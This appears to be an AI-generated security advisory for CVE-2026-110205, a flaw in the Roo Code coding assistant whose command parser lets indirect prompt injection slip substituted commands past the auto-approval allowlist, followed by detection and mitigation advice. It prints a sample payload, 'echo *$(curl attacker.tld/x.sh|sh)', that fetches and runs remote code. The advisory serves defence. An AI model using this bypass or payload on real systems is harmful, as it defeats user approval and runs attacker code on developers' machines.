Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB
CVE-2026-110205 Overview
CVE-2026-110205 is a command approval bypass vulnerability in Roo Code through version 3.54.0, an AI coding assistant extension. The flaw resides in the parseCommandLine() function within src/shared/parse-command.ts, which discards command substitutions placed adjacent to * or ? glob characters. Attackers leveraging indirect prompt injection can craft payloads like echo *$(malicious) that match allowlisted command prefixes. When auto-approval is enabled, the parser strips the substitution during allowlist evaluation, letting denied commands execute without user confirmation. The weakness is categorized under [CWE-184: Incomplete List of Disallowed Inputs].
Critical Impact
Attackers can bypass Roo Code's command allowlist to execute arbitrary shell commands on developer workstations through indirect prompt injection when auto-approval is enabled.
Affected Products
- Roo Code versions up to and including 3.54.0
- Deployments with the auto-approve command execution feature enabled
- Environments where Roo Code processes untrusted content (web pages, repositories, documents)
Discovery Timeline
- 2026-10-13 - CVE-2026-110205 published to NVD
- 2026-10-15 - Last updated in NVD database
Technical Details for CVE-2026-110205
Vulnerability Analysis
Roo Code implements an allowlist of command prefixes that may run without user approval. The parseCommandLine() function tokenizes the proposed command and compares the leading token against the allowlist. The parser treats glob characters * and ? as structural tokens and discards certain adjacent constructs, including command substitutions written as $(...) or backticks.
An attacker who can influence the agent's input, through indirect prompt injection in a repository README, web page, or document the assistant reads, can propose a command such as echo *$(curl attacker.tld/x.sh|sh). The allowlist check sees the stripped form resembling a benign echo * invocation and approves it. The shell, however, receives the full command and executes the substitution, running attacker-controlled code with the privileges of the user running the editor.
Root Cause
The root cause is incomplete input normalization in the allowlist decision path. The parser used for approval does not model the same semantics as the shell that ultimately executes the command. Discarding command substitutions adjacent to glob tokens creates a divergence between what is approved and what is run, a classic parser differential described in [CWE-184].
Attack Vector
Exploitation requires that the victim has enabled auto-approval for command execution and that the attacker can place crafted text in a resource the Roo Code agent will process. The attacker does not need direct network access to the developer host; the agent itself fetches and interprets the hostile content. User interaction is limited to the normal operation of the AI assistant.
Technical details are documented in the VulnCheck Security Advisory and the GitHub PoC writeup. The vulnerable parser code is published in the Roo Code source reference.
Detect Identity Attacks the Moment Authentication Fails
Singularity™ Identity surfaces credential misuse, lateral movement, and privilege escalation in real time, so you can contain the breach before it spreads.
Stop Identity AttacksDetection Methods for CVE-2026-110205
Indicators of Compromise
- Shell process trees where an editor or Node.js process spawns commands containing $(...) or backtick substitutions adjacent to * or ? characters.
- Outbound network connections from developer workstations initiated shortly after Roo Code executes a shell command.
- New or modified files in user home directories created by shell processes parented to the Roo Code extension host.
Detection Strategies
- Inspect Roo Code command logs for approved commands containing glob characters next to command substitutions, indicating the parser bypass pattern.
- Correlate editor process ancestry with execution of interpreters such as curl, wget, sh, bash, python, or powershell that were not part of the user's intended workflow.
- Hunt for Roo Code sessions that processed external content immediately followed by shell command approvals that reference remote hosts.
Monitoring Recommendations
- Enable command-line auditing on developer endpoints and forward process creation events for correlation and retention.
- Alert on child processes of VS Code or related editor binaries that execute network tools or write to sensitive paths.
- Monitor extension version inventories to identify hosts still running Roo Code 3.54.0 or earlier.
How to Mitigate CVE-2026-110205
Immediate Actions Required
- Upgrade Roo Code to a release later than 3.54.0 that contains the patched parseCommandLine() implementation once published by the vendor.
- Disable the command auto-approval feature in Roo Code settings until the fixed version is deployed across all developer workstations.
- Review recent Roo Code command execution history for commands that combine glob characters with command substitutions.
Patch Information
The vulnerability is reported against Roo Code through 3.54.0. Users should track the Roo Code repository and the VulnCheck Security Advisory for the fixed release and update immediately once available.
Workarounds
- Turn off auto-approval and require manual confirmation for every shell command the agent proposes.
- Restrict the Roo Code allowlist to a minimal set of commands and avoid patterns that include wildcard arguments.
- Run the editor and the AI assistant inside a sandboxed development container with limited filesystem and network access to contain exploitation.
- Avoid pointing Roo Code at untrusted repositories, web pages, or documents that could carry indirect prompt injection payloads.
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB

